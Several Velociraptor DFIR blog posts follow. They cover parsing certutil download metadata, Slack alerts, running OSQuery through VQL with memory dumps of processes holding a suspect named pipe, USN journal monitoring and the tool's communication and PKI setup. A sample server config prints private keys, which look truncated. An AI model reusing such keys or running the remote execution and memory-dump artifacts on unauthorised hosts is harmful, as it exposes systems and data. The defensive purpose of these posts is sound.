As of Velociraptor 0.5.5, VQL contains a powerful new built in binary parser. This post introduces the new parser and shows a practical example of using it to develop a powerful Velociraptor artifact.

Binary parsing overview.

Binary files store information for machine consumption — this is termed serialization. Ultimately serialization is a way to represent data as binary digits by encoding integers, structs and other concepts into a binary representation.

While it is certainly possible to write parsers that procedurally unpack various bits of data from the file, these are typically hard to maintain and understand. It is better to visualize what the data actually means and how it is laid onto the file. Therefore we want to write parsers in a descriptive way rather than procedural — Ideally we want the parser to be easy to understand and maintain.

Velociraptor’s binary parser has taken inspiration from other great parsers, such as Volatility and Rekall’s Vtype system (with some syntax simplification).

The best way to introduce the new parser is with an example so I will jump straight in!

`Certutil` metadata parsing

The certutil program is a native, built in Windows tool used to download certificate information. It is a commonly used Lolbin, with attackers misusing the tool to download malicious code to compromised endpoints (see Att&ck S0160).

I was reading an excellent blog post recently titled Certutil Artifacts Analysis where Aalfaifi analyses the forensic evidence left behind by certutil. Let’s write a parser for this!

We start off by using certutil in a malicious way — rather than downloading certificate revocation lists we will download an executable to the system for testing.

The certutil tool will download our executable and create a metadata file containing some very interesting data but what does it mean?

Luckily Aalfaifi has done the sleuthing work and their excellent article covers the details. I will interactively develop my VQL parser using the Velociraptor notebook. I first add a new notebook then add a VQL cell to it. I can now write and evaluate free form VQL.

Let’s begin by just hard coding the path to the metadata file I created. I will also define a profile and an initial struct called Header.

What is a profile?

A profile is a data driven template that describes how the data is overlaid onto the binary file. Velociraptor uses the profile to drive the parser but the profile is also meant for human consumption — it simply describes all the structs and their fields, sizes etc. Profiles are designed to be succinct and quick to write but also easy to read and understand.

The basic structure of a profile is a JSON encoded data structure:

The Profile contains a list of struct definitions
Each struct definition is a list of [name, size, list of field definitions]
Each field definition is a list of** [name, offset, type, options]**

I will start to define the Header struct with the following fields (offsets and fields taken from the Blog post above)

UrlSize is a 32 bit integer laid at offset 12
HashSize is a 32 bit integer laid at offset 100
DownloadTime is a 64 bit timestamp at offset 16

You can see the profile and the resulting object in the screenshot below. Velociraptor calls the parse_binary() VQL function which opens the file and parses the struct Header at offset 0.

Dynamic properties

So far things are simple — we specified the offsets and types of each field and Velociraptor just parsed them. However, now we want to extract the URL. According to the Blog post the URL starts at offset 116 and has a length specified by the UrlSize field. It is then followed by the hash with a length specified by the HashSize field.

Because the offsets and sizes are not known in advance (URLs have different lengths), we need to define the profile dynamically. The profile will accept a VQL lambda function in many places. The lambda function receives the partially parsed struct and can use it to derive other values dynamically at runtime.

We can specify the URL as being a String type with a length determined dynamically by the x.UrlSize field. Similarly we can declare the offset of the Hash field as the lambda x=>x.UrlSize + 116

Putting it all together

This was easy! We now know the url the certutil tool downloaded from, the hash and the timestamp — all are critical in a DFIR investigation to distinguish the legitimate use of certutil from malicious.

While the above VQL only parsed a single hard coded metadata file, in practice we want to search for all metadata files from all users and parse them in a single collection.

You can see the full artifact here https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Forensics/CertUtil.yaml including extra functionality like filtering out whitelisted domains, and an option to also fetch the downloaded file from the CryptUrlCache

Collecting the new artifact

I will now collect the artifact from my endpoint. Using the GUI, I click the add new collection button, then search for my Windows.Forensics.CertUtil artifact.

Now I can configure the whitelist and possibly also choose to download the cached files.

The files are parsed on the endpoint and we see the relevant information in seconds

Doing a hunt across all my endpoints will now tell me if certutil was ever used to download a suspicious tool, from where, and potentially uploading the tool itself in the CryptUrlCache.

Conclusions

Although this was a simple example, the binary parser is extremely capable. Some other examples include Windows.System.Powershell.ModuleAnalysisCache (parses the powershell module analysis cache) and Windows.Forensic.Lnk (Parse link files) and many more.

Being able to go from reading an analysis in a blog post to running a hunt across your entire network in a matter of minutes is a truly powerful capability, allowing our DFIR team to be proactive and innovative. Having a powerful binary parser in your toolbox is a real bonus making many types of hunts possible.

If you are interested in learning more about Velociraptor, check out our hands on training courses on https://www.velocidex.com/training/ or join us on discord https://www.velocidex.com/discord.

Slack and Velociraptor

Sat, 26 Dec 2020 00:00:00 +0000

Photo by Joan Gamell on Unsplash

Photo by Joan Gamell on Unsplash

You might have heard of Slack — a chatting app that has grown in popularity over the past few years. Slack allows for API access to the the workspaces, which opens the door to novel applications and automation.

In this blog post I will demonstrate how to connect Slack to Velociraptor, and be notified within a Slack channel of various events that happen on your Velociraptor deployment.

Creating a Slack App

The first thing I will do is create a Slack channel to receives messages from Velociraptor. This keeps Velociraptor messages separate and I can subscribe a small number of users within my Slack workspace to that channel.

I will create a new channel called “alerts”

Next I will create an App which will communicate with the workspace and be able to post messages to the alerts channel. (This reference has a lot of details on this step, which I will just skip but you should consult it for your own use). First I visit the slack API page at https://api.slack.com/apps

Next I will create an app called “Velociraptor” that will be able to push messages to my workspace.

Since I just want Velociraptor to inform me about events, it really only needs to push messages. I will therefore select the “Incoming Webhooks” app type.

Enable the webhook by sliding the option to on

Webhooks are simply HTTP REST APIs which can be used by any software to post to the channel providing they have a special secret called a “Token”. I can add a new webhook to my workspace on this page

I now allow the webhook to post to the alerts channel

Posting the message is a very simple HTTP request — Slack even shows an example using curl

The curl command line indicates that the request:

Needs to be using the POST method
Needs to have a content type of application/json
Needs to POST a JSON encoded object with a key called “text” which contains the message text.

Posting a message from Velociraptor

Next I will test my new webhook by writing a quick VQL query in a Velociraptor notebook. I like to develop my VQL in a notebook, since that allows me to easily iterate over my query. Going to my Velociraptor console, I add a new notebook and add a VQL cell.

Here I am just replicating the curl command line above using VQL’s http_client plugin. Once I save the cell, Velociraptor will make an API request to the slack servers and my message will appear in the alerts channel.

Alerting on events

Sending messages to Slack is pretty cool, but we really want to know when interesting stuff happens in response to events. One interesting use case that people always ask me about is to alert when a particular machine comes back online so it can be interactively investigated.

From a usability perspective, I want to tell the server to monitor a number of endpoints, and then when each comes back online, send a Slack message and stop monitoring that system.

Whenever I have a set of machines that we want to operate on, I think of client labels. In Velociraptor, we can attach any number of labels to a client, and then search for all machines that have the label efficiently (this effectively creates a group of machines).

I will add the label “Slack” to my test machine by simply selecting it in the client search page and clicking the “Add Label” button.

Going back to my notebook, I am ready to develop this VQL query step by step.

Step 1: Is the client online now?

The first query I will write will return all the clients in the “Slack” label group, and show how many seconds ago they were online.

I am using the now() VQL function to return the number of seconds since the epoch. The client’s last_seen_at time is given as microseconds since the epoch so I quickly convert it to seconds.

I can quickly retrieve the clients in the “Slack” label group by using the clients() plugin and applying a search expression “label:Slack”. Note that searching the clients by label in this way is much more efficient since it uses the label index rather than a row scan over all clients.

Step 2: Alert for recently seen clients

The next step is to send a Slack message for all clients which have been seen recently (say in the last 5 minutes).

I add a WHERE Condition to the previous query, then for each client, I re-use my earlier Slack query to post a message informing me which client is online.

Step 3: Removing the client from the watchlist

Once I sent a slack alert for this client, I do not want to check it again. Let’s modify the above query to remove the label as well.

Step 4: Creating a monitoring artifact

We previously saw how I can check for clients and send slack messages in the notebook. While this is fun and helps to develop VQL, in order to actually run this, we need to have the server monitoring for new clients all the time — in other words we need a Monitoring (Or Events) Artifact.

The previous query just ran once and stopped, but I really want to run it continuously every minute say. I do this by running the previous query periodically using the clock() plugin.

I go to the “View Artifacts” sidebar and then click the “Add an artifact” button.

The two main differences here are that this is a SERVER_EVENT artifact — i.e. it is running on the server continuously. I then use the clock() plugin to trigger the previous query to run every minute and scan for new clients coming online (line 27: foreach clock event, run the send_message query).

Step 5: Install the artifact

To install the artifact on the server, I will go to the Server Monitoring screen, and add it in the search view by clicking the “update server monitoring table” toolbar button.

Now I can add the label to any client I am interested in and within a minute of it coming back online I will receive an alert in my slack channel

Conclusions

In this post we saw how to make outbound REST API calls from the Velociraptor server using VQL. The example of Slack integration is a great use case for such an artifact, but there are many systems using HTTP style APIs (RESTfull or not) to be able to receive information from Velociraptor.

We saw how VQL can be written to run a continuous monitoring query on the server, checking for a condition that we are interested in. You could probably think of many examples of events that you will want to be notified of in a similar way (e.g. psexec used on any endpoint can be detected in near real time and escalated automatically to a Slack channel, or getting notified when a critical domain account is used anywhere on the network).

Escalating to Slack is suitable for fairly low frequency but high value events. If there are too many events, the channel will be too noisy and not useful (people will just mute it), so consider how frequently the alert will be fired, and how you intend to deal with it.

To play with this feature yourself, take Velociraptor for a spin! It is a available on GitHub under an open source license. If you want to learn more about VQL and Velociraptor consider joining us on one of our upcoming training sessions.

As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

Velociraptor and OSQuery

Sun, 13 Dec 2020 00:00:00 +0000

One of our favorite tools for endpoint visibility is OSQuery. OSQuery has really transformed the state of endpoint visibility and DFIR by allowing analysts to flexibly issue queries to introspect endpoint state, just like a database. This flexibility has always been the inspiration for Velociraptor, and the development of the Velociraptor Query Language (VQL) followed the footsteps of OSQuery to provide a powerful and flexible query language.

However, while OSQuery provides a query engine with many plugins exposing machine state, it is not typically enough on its own. OSQuery itself does not provide a server, nor does it provide a GUI (there are a number of OSQuery servers, such as FleetDM/Fleet).

While, Velociraptor was designed to be a scalable DFIR tool that is easy to deploy (typically deployed in minutes). It is typically more complicated to deploy OSQuery at scale, use it to hunt widely and post-process the results.

Nevertheless, OSQuery has been around for a long time, and there are many existing queries that could be used immediately, without needing to convert then to VQL first.

Velociraptor and OSQuery are not an either or choice — you can use them both at the same time!

In recent releases Velociraptor directly integrates OSQuery on all supported platforms — so you can issue the same OSQuery query you always did and it would work exactly the same within Velociraptor. This blog post explains how the integration is done, and we go though a typical example to how Velociraptor can use OSQuery to hunt through many machines quickly.

OSQuery integration

OSQuery itself is a query engine — it is distributed a single executable which is capable of evaluating a query, and returning a result set (essentially a table of rows and columns). In this sense OSQuery is very similar to VQL queries, which also return a result set.

The goal of the OSQuery integration is to make OSQuery appear as a natural extension to VQL. That is, within Velociraptor, OSQuery output is indistinguishable from the output of native VQL queries. This allows one to filter and enrich the OSQuery query using standard VQL.

Let’s have a look at the VQL artifact that implements OSQuery integration

name: Windows.OSQuery.Generic
description: |
  OSQuery is an excellent tool for querying system state across the
  three supported Velociraptor platform (Windows/Linux/MacOS).

  You can read more about OSQuery on https://osquery.io/

reference:
  - https://osquery.io/
  - https://github.com/osquery/osquery

# I am not actually sure if OSQuery allows arbitrary command execution via SQL?
required_permissions:
  - EXECVE

precondition: SELECT OS From info() where OS = 'windows'

tools:
  - name: OSQueryWindows
    github_project: Velocidex/OSQuery-Releases
    github_asset_regex: windows-amd64.exe

parameters:
  - name: Query
    default: "SELECT * FROM osquery_info"

sources:
  - query: |
      LET binary <= SELECT FullPath
      FROM Artifact.Generic.Utils.FetchBinary(ToolName="OSQueryWindows")

      LET result = SELECT * FROM execve(
         argv=[binary[0].FullPath, "--json", Query],
         length=1000000)

      SELECT * FROM foreach(row=result,
      query={
         SELECT * FROM parse_json_array(data=Stdout)
      })

As described in a previous post, Velociraptor will deliver the OSQuery binary to the endpoint securely (line 29–30), then shell out to the binary executing the provided query (line 32–34). Finally the result is parsed from JSON and returned as a standard VQL result set (line 36–39).

The entire OSQuery integration is implemented as above in VQL — one does not need to do anything else in order to launch an OSQuery query on a remote host… In particular, one does not need to have OSQuery installed on the endpoint in advance! Velociraptor will push the binary to the endpoint on demand, managing binary versioning if required and maintaining a local copy of OSQuery on the endpoint.

Let’s go hunting…

Let’s look for an interesting OSQuery query that we might want to run. A great resource of public OSQuery queries can be found in Recon Infosec’s public OSQuery resource https://rhq.reconinfosec.com/. For this example I will choose the query looking for SMB/Named Pipes, written by Eric Capuano.

A Named Pipe is a Windows IPC method that allows communication between different processes. Many attack tools open multiple processes, and use named pipes to communicate between those, including metasploit or Cobalt Strike.

The query identifies processes using named pipes, making it a nice signal or a baseline for which processes in your environment typically communicate with pipes.

To test this query, I created a quick named pipe server in Powershell that creates a named pipe called BlackJack.

while (1) {
  $npipeServer = new-object System.IO.Pipes.NamedPipeServerStream('BlackJack',
     [System.IO.Pipes.PipeDirection]::InOut)

  $npipeServer.WaitForConnection()
  $npipeServer.Close()
}

After selecting my test machine in the Velociraptor GUI, I created a new collection then searched for the OSQuery artifact. Since this is a Windows system, I select the Windows variant of the artifact.

After selecting the Windows.OSQuery.Generic artifact, I can click the “Configure Parameters” screen where I am able to enter the OSQuery query to run.

Finally I click the “Launch” button to start the new collection. This will collect the Windows.OSQuery.Generic artifact on this machine, Velociraptor will push the OSQuery binary to the endpoints and cache it locally. On subsequent collections, the endpoint will compare the local hash of the binary with the required hash and only fetch a new version if necessary — therefore subsequent executions are very rapid.

As can be seen above, the OSQuery query produces a table of results, indistinguishable from a typical Velociraptor artifact.

Extending OSQuery with VQL

The previous OSQuery query returns all the named pipes on the endpoint and their owner processes. Suppose we now wanted to build on this query and identify high value signals — for the sake of this example, suppose the named pipe “BlackJack” is a known malicious name belonging to a specific malware variant. Let us therefore, collect a process memory dump of all processes which open a named pipe with the name BlackJack for further analysis. We wish to do so by extending the OSQuery query we had earlier with some VQL.

I created a new custom Velociraptor artifact by wrapping some VQL around the existing OSQuery artifacts. To do this I click on the “View Artifacts” screen, select “Add an Artifact” and type the following YAML artifact into the GUI.

The full artifact text is also shown here.

name: Custom.OSQuery.BlackJack
description: |
   Get memory dumps of all processes with a named pipe called BlackJack

parameters:
   - name: NamedProcessRegex
     default: BlackJack
   - name: OSQuery_query
     default: "SELECT proc.parent AS process_parent, proc.path AS process_path, proc.pid AS process_id, proc.cwd AS process_directory, pipe.pid AS pipe_pid, pipe.name AS pipe_name FROM processes proc JOIN pipes pipe ON proc.pid=pipe.pid;"

sources:
  - precondition:
      SELECT OS From info() where OS = 'windows'

    query: |
      LET matching_processes = SELECT *
      FROM Artifact.Windows.OSQuery.Generic(Query=OSQuery_query)
      WHERE pipe_name =~ NamedProcessRegex
      GROUP BY process_id

      SELECT * FROM foreach(row=matching_processes,
      query={
          SELECT pipe_name, process_id, process_path,
                    upload(file=FullPath) AS MemDump
          FROM proc_dump(pid=int(int=process_id))
      })

Velociraptor Artifacts are simply YAML files which encapsulate VQL queries and provide the whole thing with a name. Users now simply need to collect the Custom.OSQuery.BlackJack artifact without needing to write their own VQL.

Let’s take a look at how this artifact works. The VQL simply calls the same Windows.OSQuery.Generic artifact we ran previously, it then filters the result set to only match the BlackJack pipe. For each matching process, the VQL then call the proc_dump() plugin to obtain a dump of process memory and then uploads it to the server.

The result is a 230Mb dump file that can be opened by the windows debugger for each process found holding a named pipe called BlackJack.

We can now hunt our entire deployment looking for specific named pipes in seconds.

Conclusions

In this blog post I demonstrated how Velociraptor integrates OSQuery as a natural extension to the Velociraptor Query Language. To use OSQuery with Velociraptor, one simply collects the relevant artifact from the endpoint. Users do not need to have OSQuery installed on the endpoint — Velociraptor manages the distribution and update of the binary as needed transparently behind the scenes.

We then saw how to extend OSQuery queries seamlessly with the additional functionality built into Velociraptor, by capturing and uploading memory dumps as additional triaging artifacts.

So what are the pros and cons of using OSQuery within Velociraptor?

The biggest advantage of the OSQuery integration is that existing OSQuery queries just work without modifications. This avoids having to rewrite the same queries in VQL using Velociraptor’s native query language (and potentially having to learn yet another query language). Having the ability to directly use OSQuery queries makes all the OSQuery resources on the web immediately available for use with Velociraptor (For example Carbon Black’s Query Exchange).

An obvious disadvantage of the integration is that Velociraptor still ends up shelling to OSQuery to actually perform the query — therefore Velociraptor has no control of the resource usage consumed by OSQuery during query execution (however cancelling the artifact collection will terminate the OSQuery process). While normal VQL queries have throttling setting controlling the CPU load, we lose this ability when running the OSQuery process.

The Windows USN Journal

Thu, 12 Nov 2020 00:38:44 +0000

Thanks to Matt Green for discussions, ideas and code….

NTFS is the default filesystem on Windows systems, so it is important for DFIR tools to support extracting as much system state information as possible from it. Velociraptor already has a full featured NTFS parser, and in a recent release (0.5.2) also added a parser for the USN Journal (Update Sequence Number Journal), or Change Journal.

What is the USN Journal?

By default Windows maintains a journal of filesystem activities in a file called $Extend$UsnJrnl in a special data stream called $J. This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run.

The $Extend$UsnJrnl:$J file begins life when the volume is created as an empty file. As files are modified on the volume, the $J file is extended with additional USN records.

In order to preserve space, the NTFS creators use an ingenious trick: The beginning of the file is erased and made into a sparse run. Since NTFS can handle sparse files (i.e. files with large runs containing no data) efficiently, the file effectively does not consume any more disk space than needed but does not need to be rotated or truncated and can just seem to grow infinitely.

This means that in practice we find the $J file on a live system reporting a huge size (sometimes many hundreds of gigabytes!), however usually the start of the file is sparse and takes no disk space, so the $J file typically only consumes around 30–40mb of actual disk space. This is illustrated in the diagram below.

USN Records are written back to back within the file. The USN records contain valuable information:

The USN ID is actually the offset of the record within the file. This is a unique ID of the USN record (since the file is never truncated).
A Timestamp — This is a timestamp for the file modification
Reason — is the reason of this modification for example DATA_TRUNCATION, DATA_EXTEND, FILE_CREATE, FILE_DELETE etc.
Filename is the name of the file that is being affected.
Parent MFT ID points to the parent record within the MFT (the changed file’s containing directory).

Using the Filename and Parent MFT ID allows Velociraptor to resolve the full path of the file from the root of the filesystem.

Velociraptor’s USN Parser

Velociraptor provides access to the USN parser via the parse_usn() plugin. Let’s see what kind of data this plugin provides by running a simple query in the notebook

In the above I hid some of the less interesting fields, but we can immediately see the USN records are shown with their USN ID (which is the offset in the $J file), the timestamp, the full path to the modified file and the reasons for modifications.

When a program interacts with a file, we typically see a bunch of related filesystem events. For example, I can create a new file called test.txt using notepad and write some data into it. I can then query the USN journal for modifications to that file (The =~ operator is VQL’s regex match)…

Notepad seems to interact with the file using a number of separate operations and this adds several events into the USN journal file for the same interaction.

Previously, Velociraptor was able to only collect the USN journal file and users had to rely on other third party tools to parse it (e.g. this or this). The problem with that approach is that external tools usually have no access to the original $MFT and therefore were unable to resolve the parent MFT id in the USN record to a full path. Parsing the USN records directly on the endpoint allows Velociraptor to immediately resolve the files into a full path making analysis much easier later.

When to use the USN Journal?

The USN journal can provide visibility into filesystem activity going back quite a long time. It seems that Windows aims to keep the maximum actual size of the log file around 30–40mb (remember, the file is sparse) so if the machine is not used too heavily, we sometimes find the log goes back a week or two. This gives us visibility on past system activity.

Practically this can be useful:

When a program is run, typically we can see the prefetch files modified which gives us a timestamp on execution (in the case where the prefetch files themselves were deleted).
One can see file modification or creation of a particular file extension (e.g. executables) or within specific directories (e.g. Windows\System32) which might indicate system compromise took place.
Many compromises occur after an initial file based malware was run (e.g. office macros, or PDF). The USN journal can provide a time of initial infection.
The USN journal can provide evidence of deleted files. With Velociraptor it is possible to efficiently hunt for all machines that had the particular file in the recent past — even if the file was subsequently deleted. This is useful to find evidence of attacker toolkit installation, or initial vectors of compromise.

Watching the USN journal

In the previous section we saw how Velociraptor can parse the USN journal on a running system, enabling hunting and analysis of past filesystem activity.

However, Velociraptor is built around VQL — a unique query language allowing for asynchronous and event driven queries. Therefore, Velociraptor also has the unique ability to create event queries — queries that never terminate, but process data as it occurs.

As such, Velociraptor offers many event driven versions of the standard plugins. For USN Journals, Velociraptor offers the watch_usn() plugin as an event driven alternative to the parse_usn() plugin. When a query uses watch_usn(), Velociraptor will watch the USN log for new entries, and as they appear, the plugin will release the event into the rest of the query.

This allows Velociraptor to watch for file changes in near real time on the running system. You can easily see this effect by running an event query from the command line:

As filesystem changes occur they are picked up by the watch_usn() plugin and reported a short time later. This allows us to write queries that respond to filesystem events in near real time.

Event monitoring example: Hash database

Having the ability for Velociraptor to actively watch for filesystem events in near real time opens the door for many potential applications. One very useful application is maintaining a local hash database on endpoints.

Hunting for a file hash on endpoints can be a very useful technique. While attackers can and do change their tools trivially to make hunting for file hash ineffective, once a specific compromise is detected, being able to rapidly hunt for the same hash across the entire fleet can reveal other compromised hosts.

Up until now, hunting for hashes on a machine was difficult and resource intensive. This is because trying to determine if any files exist on an endpoint having a given hash requires hashing all the files and comparing their hash to the required hash — so essentially hashing every file on the system!

Even after reasonable optimizations around file size, modification time ranges, file extensions etc, a hunt for hashes is quite resource intensive, and therefore used sparingly.

The ability to follow the USN journal changes all that. We can simply watch the filesystem for changes, and when a file is modified, we can hash it immediately and store the hash locally in a database on the endpoint itself. Then later we can simply query that database rapidly for the presence of the hash.

As mentioned in the previous section, a single change typically involves several USN log entries. We therefore need to deduplicate these changes. We simply need to know that a particular file may have changed recently (say in the last few minutes) and we can then rehash it and update the database accordingly.

All this can easily be implemented using a VQL query, which we can store in a VQL artifact. You can see the Windows.Forensics.LocalHashes.Usn full artifact source here.

In order to get this query to run on the endpoints, we assign the artifact as a client event detection artifact, by clicking the “Client Events” screen and then the “Update Client monitoring table” button. After selecting the label group to apply to (All will apply this to all machines in your deployment), simply add the Windows.Forensics.LocalHashes.Usn artifact by searching for it.

The most important configuration parameter is the PathRegex specifying which files we should be watching. For example, you might only be interested in hashes of executables or word documents. Leaving the setting at “.” will match any file, including very frequently used files like event logs and databases — this setting can potentially affect performance. Finally you can suppress the artifact output if you like — this just means that hashes will not be additionally reported to the Velociraptor server. They will just be updating the local database instead.

Once the query is deployed it will run on all endpoints and start feeding hash information to the server (if required). You can see this information in the client monitoring screen by simply selecting the artifact and choosing a day of interest

You can now easily page through the data viewing the hashes and files that were added since the query started. You can also download the entire SQLite database file from the endpoint, or watch the events on the server for specific file types or hashes found across the entire deployment.

Let’s test querying this local database. I will just pick a random hash and see if my endpoint has this hash. I will simply collect the Windows.Forensics.LocalHashes.Query artifact on my endpoint and configure it to search for the hash f4065c7516d47e6cb5b5f58e1ddd1312. This hash can be entered as a table in the GUI or simply as a comma delimited text field.

The artifact returns almost instantly with the file that this hash belongs to

The local hash database is simply a SQLite file maintained by the VQL query. As such I can easily collect this file with a hunt if I wanted to archive the hash database periodically from all my endpoints.

Collecting the Windows.Forensics.LocalHashes.Glob artifact will populate the local hash database by simply crawling a directory, hashing all files inside it and populated the database — this is useful to pre-populate the database with hashes of files created before Velociraptor was installed.

Conclusion

Velociraptor brings unprecedented visibility to endpoint machine states using state of the art forensic capabilities. In this post we saw how parsing the USN Journal allows Velociraptor to gather information about past filesystem activity. We also saw how detection and monitoring queries can be used to respond to file modification or creation in near real time.

Finally we saw this capability put into practice by maintaining a local hash database which can be queried on demand to quickly answer questions like which machine in my fleet contain this hash?

To play with this new feature yourself, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

Velociraptor Communications

Sun, 27 Sep 2020 01:38:44 +0000

You might have heard that Velociraptor allows you to quickly query endpoint state for rapid response and monitoring of many thousands of devices across the internet. Unlike some other tools, Velociraptor’s communication is scalable, secure and instantaneous.

Many people ask me about the client/server communication protocol. The Velociraptor documentation simply states that communications is encrypted over a TLS connection but there is more to it than that.

In this post I would like to delve into the low level details of how clients securely communicate with the server and cover some common deployment scenarios. By understanding exactly how this works we will gain insight into debugging communication problems and enabling more sophisticated deployment scenarios.

Velociraptor’s config file

In the following discussion we will refer to a typical Velociraptor configuration file as generated by the command

velociraptor config generate -i

For this example we select a typical self-signed deployment.

version:
  name: velociraptor
  version: 0.5.0
  commit: 6fc96b5f
  build_time: "2020-09-22T18:21:45+10:00"
Client:
  server_urls:
  - https://test.velocidex-training.com:8000/
  ca_certificate: |
    -----BEGIN CERTIFICATE-----
    MIIDKzCCAhOgAwIBAgIRAJ6I1o7Yv+8BqsEF4oLIhV4wDQYJKoZIhvcNAQELBQAw
    GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDkyNzEyNTUzN1oXDTMw
    GwbIKrNW8iIkxQT4iKMHgF4+vGn4YteNpysatCGZtSHWRcvUB+cnDYv+kbch70dx
    zF54976UPzOCv+xN7blJFMugWnCHPBOnURaBvQ4cPOdtWv3BgtbF+3EPiaKf9EE=
    -----END CERTIFICATE-----
  nonce: Imxp3zf+GM4=
  use_self_signed_ssl: true
  pinned_server_name: VelociraptorServer
API:
GUI:
  bind_address: 127.0.0.1
  bind_port: 8889
  base_path: /gui
  gw_certificate: |
    -----BEGIN CERTIFICATE-----
    wpgSJX5UXEJUHhlRLWenVNTrRS8jmmjgw6ovnZKosahV/skItKEsVGQByi1x32zW
    FwpP3uggQlfSpgIufr2n86Jxu9eGwdLUIrAq8crZXuZkBQPONOWz3yTF3fuhy9Zr
    MBjRGfI5jEPkoIVkVv4UXWfmKuCSoNJ17HVa2GRwOojW8qZvEDTJSSRn2xJb0lkU
    pvrd4AJ3gBePJtF/+oQOR08=
    -----END CERTIFICATE-----
  gw_private_key: |
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEAptwLTXopCLWD483r9EWfn8YbxXiaxjvhSVc9MWxk7yBEvYYa
    LTHjtwMhlh1I1YVNr1MH4GAoTXMASJsscLwEVol200tOGLVfb2I0uGVmunkjXXOh
    eFCrGdIYJFAwhj4USZBsby5olORTHw8rBlvVvK+NieRptpg+bj+o23Xw8uryAotw
    3InWtyaNQd+UEXqaaf6dnStYhX/CFJrudOobJHgiJ7cB33QG3nvZxg==
    -----END RSA PRIVATE KEY-----
CA:
  private_key: |
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpQIBAAKCAQEA3AGxHT80+B70+mtjj08njg9Se0c02K9qkcrTiy0knJEf7QpS
    s4K5MQG22kxreW3sRXcJlVYa0MgrDCZRJjtGn8Fw1Zc3f28KGcyTqWAKO0xiQeVR
    4+JQQ3INuNuGkCjWAxMj2p8wh23vsCWLWjUsZsD17uzqactTpr0gQQRGiI2sx/On
    Q0hF/m5+o9f3j18kK3sQsOaZv/WRwYgzEZZVgeLH+Z1CFUaaAZZeR38=
    -----END RSA PRIVATE KEY-----
Frontend:
  hostname: test.velocidex-training.com
  bind_address: 0.0.0.0
  bind_port: 8000
  certificate: |
    -----BEGIN CERTIFICATE-----
    MIIDGDCCAgCgAwIBAgIRAOXGwSQ8EzUy74lzrRtZFjYwDQYJKoZIhvcNAQELBQAw
    GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDkyNzEyNTUzN1oXDTIx
   yxHjv87Dvl9UmaaQljXfUxsxgjzWbCCvRD4ohNJoAcfS296CeUmvD31uVLR3Pbor
    dcxFS4Nm/yOLARa9HVwawVFRoIQm/SG0oQwe2Bres2NnOGDu5xVQzHNGnqU1c7g3
    GXTpLdDYULsHtfCh2PQZ9IKAFeCPxmu5hS+qmw==
    -----END CERTIFICATE-----
  private_key: |
    -----BEGIN RSA PRIVATE KEY-----
    MIIEowIBAAKCAQEAm289U7G6J0DIAmGqs9YN+NeF3odwcfFtp4YLASkud1r2p6t6
    2DALF68hDqbSpR2FWsHRyFab5lSwI/kLsamGxBfLMVzeGkVQAXgGDzRxTRW/esa3
    wpFwq5rJw8dDivYXK2PPY0xxBeznsxc//2/WgGp3gHmtfqRh0mP2uk/OZ323oiSK
    rlJu+Ep6R4yBnxn+beeb+duXXuAGXS5CAdGXrMimrJYLgX4Wx7Ag
    -----END RSA PRIVATE KEY-----
  max_upload_size: 10485760
  dyn_dns: {}
  default_client_monitoring_artifacts:
  - Generic.Client.Stats
  run_as_user: velociraptor
  expected_clients: 10000
  GRPC_pool_max_size: 100
  GRPC_pool_max_wait: 60
Datastore:
  implementation: FileBaseDataStore
  location: /opt/velociraptor
  filestore_directory: /opt/velociraptor

Communication overview

Clients (Velociraptor instances running on endpoints) connect to the server over the http protocol, typically embedded within a TLS connection. Although Velociraptor shares the same communication protocol as was used in the GRR project, it was enhanced for Velociraptor’s use to be more secure and efficient.

Velociraptor’s internal PKI

Every Velociraptor deployments creates an internal PKI which underpins it. The configuration wizard creates an internal CA with an X.509 certificate and a private key. This CA is used to:

Create initial server certificates and any additional certificates for key rotation.
CA public certificate is embedded in the client’s configuration and is used to verify server communications.
The CA is used to create API keys for programmatic access. The server is then able to verify API clients.

The configuration file contains the CA’s X.509 certificate in the Client.ca_certificate parameter (it is therefore embedded in the client configuration). The private key is contained in the CA.private_key parameter.

In a secure installation you should remove the CA.private_key section from the server config and keep it offline. You only need it to create new API keys using the velociraptor config api_client command, and the server does not need it in normal operations.

Messages

Clients and servers communicate by sending each other messages (which are simply protocol buffers), for example, a message may contain VQL queries or result sets. Messages are collected into a list and sent in a single POST operation in a MessageList protobuf. This protobuf is encrypted using a session key with a symmetric cipher (aes_128_cbc). The session key is chosen by the sending party and is written into an encrypted Cipher protobuf and sent along with each message.

This symmetric key is encoded in a Cipher Properties protobuf which is encrypted in turn using the receiving party’s public key and signed using the sending party’s private key.

Key caching

The encrypted cipher is sent with each message and contains an encrypted version of the same session key. This means that it is always possible to derive the session key from each post message by performing RSA decrypt/verify operations, but having decoded the symmetric key once — it is possible to cache it for the remainder of the session. This avoids expensive RSA operations — as long as the server communicated with the client recently, the symmetric key will be cached and can be reused.

On a loaded server you might notice CPU utilization spikes for a few seconds after the system starts up, as the server unlocks the session keys from incoming clients, but after that the server should not need to perform many RSA operations and CPU load should be low since most session keys are cached in memory.

The Frontend.expected_clients setting controls the size of the memory cache of session keys. If this is too small, keys will be evicted from cache and CPU load will rapidly rise as the server is forced to do more RSA operations to decrypt client messages. You should increase this value to reflect how many clients you expect to be active at the same time.

HTTP protocol

In the last section we saw that Velociraptor messages are both signed and encrypted by the internal deployment CA. But how are these messages exchanged over the internet?

Velociraptor uses HTTPS POST messages to deliver message sets to the server. The server in turn sends messages to the client in the body of the POST request. The client connects to one of the server URLs provided in the Client.server_urls setting in its config file.

Before the client communicates with the server, the client must verify it is actually talking with the correct server. This happens at two levels:

If the URL is a HTTPS URL then the TLS connection needs to be verified
The client will fetch the url /server.pem to receive the server’s internal certificate. This certificate must be verified by the embedded CA.

Note that this verification is essential in order to prevent the client from accidentally talking with captive portals or MITM proxies.

TLS verification

Velociraptor currently supports 2 modes for deployment via the config wizard:

